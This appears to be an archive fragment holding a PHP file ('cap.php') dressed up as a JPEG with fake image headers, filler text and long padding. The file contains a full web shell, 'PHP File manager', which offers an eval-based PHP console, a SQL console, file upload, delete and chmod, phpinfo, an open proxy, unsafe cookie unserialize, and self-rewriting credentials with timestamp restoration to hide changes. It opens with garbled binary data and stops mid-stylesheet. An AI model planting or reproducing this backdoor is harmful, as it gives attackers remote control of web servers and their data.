s f,;Xt//"::u@oNCNȩ9gtHѦb;BؐH#	5*VG	`Y"#QG"FHhw؏ @sY`pkAU(ϡcCTQrb{~~-AA4Q	w<010eʫ(q6m@]?XtaTTT<i΀
#VwWT7O \"hLB~p!{xR0z/Tm\"5ɞxN	Cb؄dHj>(ovhfI,>294c_/B_vbua2sQrZmt}Gxìcj.	$YVͫ*/5̰ɩ~#)ޚb]R>Qs}i	"wK/xbW1t|.!>lWnc~1fuT=ۘQ_"\D7Z5j3VboޗtQҤN5/f7z:X;M@/%h~ū,/	W=	LC6j"ljsb(߃Flo\nJ8y5j2()gt :wE'/҉;3I[9(N2vm¿'sD^H<x)+yl5,+k~k	BX*
hJ!$(BlBt%*`E Ut{dd.|&jc5e8g(e2&#XZ"|u t|^jLS@,9+|wֱ>[dZ#訖d^ 0 NvФy3NVt=? ZU<ǊyĳcLt=B?bY0O1S9si\k+ʶ|s@=V!S8l4R&0  ,ɍ3[BHl:!_Fb19O_
,0ыÑ;^;eWCݜO+K^Φ'3U=Y=+!ehR4dg`5Xb|x
k{o~CwRʭcaj!Ԟ΃T[;ȍxBcu02t0@q'&~o8fY0tL!)\@k.)amZ)\xu}$;k2C4=Z ȹO8]H@U7AONu.
(3HRGkE*"[YU^c0YX+HvѤ#9O d@1=b.}$$Om4k ~/֡;w{;F8fc*9XQcu*|`Mp5݇MӖR؆awBQUP܅k} u|tb}v!Ûy
iLP8:OhأoZ4UP4##|pd[t;^|#G  U$YS.^!EW}uFuw$Ag8kQ&5p3fabHv\Npu|N\jAtMUtrz}6@=1VlL#ïÁ[xg4SF4ReP5Z!$k#<x?^6kȤ93Z꯫&h%4%
FU]~,/d '}/F;FL_&R +IǺk/<k橩sfi[jnκn[wUTmm2mJtcWĶ>Ά>Hx}tCGee2)B*Cr
dB0%%EWEǡC%uq`J|^Vx}
ZD"{n,B1{W
MlY|Kz)Y.:yg
ʋȃOCE^GGTb!8xr7,',/q+47Qd"-cAEQk)#g.6jOĄX<sCaVÌ$23#IF`@uKZ!fU4^{fWq0V1kEg!.U$J]:eW tJL[EH߽.O3?@|.C=*`QPE2<Nbp,6\8;lfX͂b<20!=d&Jr!	Q?|*n7E6Vlma\=?e&M).xpZ̵paAqX>W&40fC ƭH"uFԘj,__-"+D>=
X؉meE(jjE	f6c7M)y같51aE kVA:c2! `tErL.**x3+XrOPu<p=V't +=WU/Ϡh(p!Uz/CH5ƆtkAnޫC<efqp,nPciBm=b.Yxe!ѩ|rۜρԄ]$.O4FhrLw{>杇ߣ| 8Dzܻ}"6_m!RGtL&xp+^ŮQE3PgfX`TGs6͗ƥ"s P?ub{=F|h%	kM;o;0waէw>=}Ѝ'{ V{@{TJk}pyAiEfqm1SO> vwNVL}!5}Zbk^NܭqI4ΞX?Ϸo?~|/ \  PK     |\tF3)9 )9   cap.phpnu [        ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
